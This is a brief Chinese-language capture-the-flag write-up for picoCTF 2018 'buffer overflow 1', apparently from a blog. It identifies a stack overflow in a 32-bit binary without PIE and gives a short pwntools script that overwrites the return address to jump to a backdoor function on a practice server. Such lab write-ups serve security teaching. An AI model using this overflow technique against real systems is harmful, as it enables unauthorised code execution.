picoctf_2018_buffer overflow 1

最基本的栈溢出
check
file
32位,没开pie

溢出点在vuln函数:
file

有后门函数直接覆盖返回地址即可:
exp:

from pwn import *

p=remote('node4.buuoj.cn',25082)
flag=0x080485CB
payload='a'*(0x28+4)+p32(flag)
p.recvuntil('\n')
p.sendline(payload)
p.interactive()

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据